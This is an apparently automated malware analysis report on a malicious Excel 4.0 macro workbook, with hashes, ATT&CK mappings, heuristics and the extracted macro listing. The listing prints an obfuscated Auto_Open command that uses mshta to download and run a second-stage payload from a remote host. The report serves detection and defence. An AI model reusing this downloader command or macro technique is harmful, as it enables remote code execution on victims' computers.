Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 3718306767030823…

MALICIOUS

Office (OLE) / .XLS

65.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 633b62a17b003ee246cb214db4288b5b SHA-1: 9e76cce96f044eb3e81802cbe0fc87b6266ee48a SHA-256: 3718306767030823034518992c91530225fa7111792e2ff98f4e5aad86c5368e
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro sheet (XLM) that uses an Auto_Open defined name to execute a command. The document body contains a lure instructing the user to 'Enable Editing' and 'Enable Content' to view the content. The extracted macro script reveals a command that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This command is designed to download and execute a second-stage payload from the specified URL. The presence of the Auto_Open macro and the user-enablement lure strongly indicate a malicious downloader.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  F
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  Macro
' 0085     17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Protecte
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  F!Q1 
' 0018     65 LABEL : Cell Value, String Constant - lll len=47 ptgStr "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html" 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  F,Q30,"SET.NAME("lll","cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html")",""
'  F,Q42,[],""
'  F,Q53,HALT(),""

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